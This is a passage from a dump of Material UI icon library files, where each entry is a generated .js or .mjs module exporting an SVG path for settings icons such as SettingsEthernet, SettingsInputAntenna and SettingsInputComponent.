    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.71 6.71a.996.996 0 0 0-1.41 0L1.71 11.3c-.39.39-.39 1.02 0 1.41L6.3 17.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.83 12l3.88-3.88c.38-.39.38-1.03 0-1.41m8.58 0c-.39.39-.39 1.02 0 1.41L20.17 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L17.7 6.7c-.38-.38-1.02-.38-1.41.01M8 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4-2c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'SettingsEthernetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntenna.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntenna');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntenna.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntenna');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.48 0-6.37 2.54-6.91 5.87-.1.59.39 1.13 1 1.13.49 0 .9-.36.98-.85C7.48 8.79 9.53 7 12 7s4.52 1.79 4.93 4.15c.08.49.49.85.98.85.61 0 1.09-.54.99-1.13C18.37 7.54 15.48 5 12 5m1 9.29c1.07-.48 1.76-1.66 1.41-2.99-.22-.81-.87-1.47-1.68-1.7-1.69-.48-3.23.78-3.23 2.4 0 1.02.62 1.9 1.5 2.29v3.3l-2.71 2.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.3-2.3 2.3 2.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13 17.59zM12 1C6.3 1 1.61 5.34 1.05 10.9c-.05.59.41 1.1 1 1.1.51 0 .94-.38.99-.88C3.48 6.56 7.33 3 12 3s8.52 3.56 8.96 8.12c.05.5.48.88.99.88.59 0 1.06-.51 1-1.1C22.39 5.34 17.7 1 12 1\"\n}), 'SettingsInputAntennaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.48 0-6.37 2.54-6.91 5.87-.1.59.39 1.13 1 1.13.49 0 .9-.36.98-.85C7.48 8.79 9.53 7 12 7s4.52 1.79 4.93 4.15c.08.49.49.85.98.85.61 0 1.09-.54.99-1.13C18.37 7.54 15.48 5 12 5m1 9.29c1.07-.48 1.76-1.66 1.41-2.99-.22-.81-.87-1.47-1.68-1.7-1.69-.48-3.23.78-3.23 2.4 0 1.02.62 1.9 1.5 2.29v3.3l-2.71 2.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.3-2.3 2.3 2.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13 17.59zM12 1C6.3 1 1.61 5.34 1.05 10.9c-.05.59.41 1.1 1 1.1.51 0 .94-.38.99-.88C3.48 6.56 7.33 3 12 3s8.52 3.56 8.96 8.12c.05.5.48.88.99.88.59 0 1.06-.51 1-1.1C22.39 5.34 17.7 1 12 1\"\n}), 'SettingsInputAntennaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputAntennaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.87 0-7 3.13-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.87-3.13-7-7-7m1 9.29c.88-.39 1.5-1.26 1.5-2.29 0-1.38-1.12-2.5-2.5-2.5S9.5 10.62 9.5 12c0 1.02.62 1.9 1.5 2.29v3.3L7.59 21 9 22.41l3-3 3 3L16.41 21 13 17.59zM12 1C5.93 1 1 5.93 1 12h2c0-4.97 4.03-9 9-9s9 4.03 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'SettingsInputAntennaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComponent');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComponent');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zM4 17c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zM13 2c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm-1 15c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zm10-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm-1 11c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4z\"\n}), 'SettingsInputComponentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zM4 17c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zM13 2c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm-1 15c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zm10-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm-1 11c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4z\"\n}), 'SettingsInputComponentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H2c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1H5zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1h-1zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComponentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H2c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1H5zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1h-1zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComponentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 16.82h2V23h2v-4.18h2V14H9zm-8 0h2V23h2v-4.18h2V14H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 16.82h2V23h2v-4.18h2V14h-6z\"\n}), 'SettingsInputComponentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 16.82h2V23h2v-4.18h2V14H9zm-8 0h2V23h2v-4.18h2V14H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 16.82h2V23h2v-4.18h2V14h-6z\"\n}), 'SettingsInputComponentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16c0 .55.45 1 1 1s1-.45 1-1v-2h-2zm-8 0c0 .55.45 1 1 1s1-.45 1-1v-2H3zm16 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4H3V8h2zm8-10c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2zm8-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm0 10c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2z\"\n}, \"1\")], 'SettingsInputComponentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComponentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16c0 .55.45 1 1 1s1-.45 1-1v-2h-2zm-8 0c0 .55.45 1 1 1s1-.45 1-1v-2H3zm16 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4H3V8h2zm8-10c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2zm8-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm0 10c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2z\"\n}, \"1\")], 'SettingsInputComponentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComposite.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComposite');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputComposite.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 14c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputComposite');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeOutlined.js",
